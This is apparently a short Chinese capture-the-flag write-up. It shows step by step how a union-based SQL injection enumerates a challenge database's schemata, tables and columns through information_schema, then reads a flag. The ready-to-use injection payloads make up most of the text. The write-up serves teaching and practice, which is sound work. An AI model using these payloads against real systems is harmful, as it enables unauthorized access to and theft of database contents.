题目描述
输个1试试

我们先判断查询返回了多少列

可以确定返回2列
接下来我们按照顺序联合查询库名、表名、列名
联合查询库名
-1 union select 1,group_concat(schema_name) from information_schema.schemata

我们猜测再sqli库中,接下来联合查询表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

显然肯定在flag表中,接下来我们联合查询列名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' && table_name='flag'
最后我们查询flag表下的flag字段
-1 union select 1,group_concat(flag) from flag
成功得到flag
本文详细介绍了一种通过SQL注入获取敏感信息的方法。从初步判断到逐步深入,利用联合查询技巧获取数据库名称、表名称及列名称,并最终成功读取flag表中的flag字段。
3658

被折叠的 条评论
为什么被折叠?



